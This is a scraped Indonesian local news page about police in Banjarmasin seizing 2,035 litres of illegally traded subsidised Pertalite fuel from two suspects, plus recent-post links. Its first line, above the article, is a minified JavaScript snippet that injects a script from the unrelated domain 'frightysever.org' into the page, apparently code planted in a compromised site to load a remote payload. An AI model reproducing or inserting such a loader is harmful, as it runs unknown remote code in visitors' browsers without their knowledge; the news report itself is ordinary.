(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Penyelewengan BBM Subsidi di Banjarmasin, Polisi Sita 2.035 Liter Pertalite


KANALKALIMANTAN.COM, BANJARMASIN – Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal Bahan Bakar Minyak (BBM) di wilayah perairan Kota Banjarmasin.

Dua pelaku yang diamankan dalam kasus ini, MS (44) dan J (27) keduanya warga Kota Banjarmasin.

Saat penangkapan, polisi menyita barang bukti 2.035 liter BBM jenis Pertalite di pesisir sungai Pelambuan Jalan Ir PHM Noor Gang Perjuangan, Kelurahan Kuin Cerucuk, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Baca juga: Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

Kasat Polairud Polresta Banjarmasin, AKP Dading Kalbu mengatakan, pengungkapan kasus penjualan BBM bersubsidi tanpa izin berawal dari informasi masyarakat, kemudian dilakukan penangkapan pada Senin (14/10/2024).

Barang bukti BBM jenis Pertalite ditemukan polisi pada satu speedboat yang sedang tambat di pinggir sungai tidak jauh dari rumah pelaku. Dari situ di temukan tiga buah drum warna biru dengan masing-masing kapasitas 200 liter terisi penuh, sehingga ada total 600 liter BBM subsidi Pertalite.

Pada satu speedboat, polisi kembali menemukan 25 jerigen yang berisi masing-masing 35 liter berisi penuh BBM subsidi Pertalite. Sehingga total ada 875 liter dan jerigen volume 20 liter masing-masing berisi penuh BBM subsidi 28 jerigen dengan total 560 liter.

Baca juga: Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

“Jadi jumlah barang bukti yang ditemukan di lokasi, yakni BBM subsidi Pertalite sebanyak 2.035 liter,” ucapnya.

Satu buah sepeda motor jenis Suzuki Thunder dengan nomor polisi DA 4263 SK yang digunakan untuk aktivitas ilegal tersebut turut diamankan.

Kedua pelaku diduga melanggar pasal 55 Undang-Undang RI Nomor 22 Tahun 2001 yang telah diubah dengan pasal 55 UU RI Nomor 6 Tahun 2023 Tentang Penetapan Peraturan Pemerintah Pengganti Undang-Undang Republik Indonesia Nomor 2 Tahun 2022 tentang Cipta Kerja menjadi Undang-Undang. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

5 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

6 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

10 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

11 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

12 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

12 jam ago

This website uses cookies.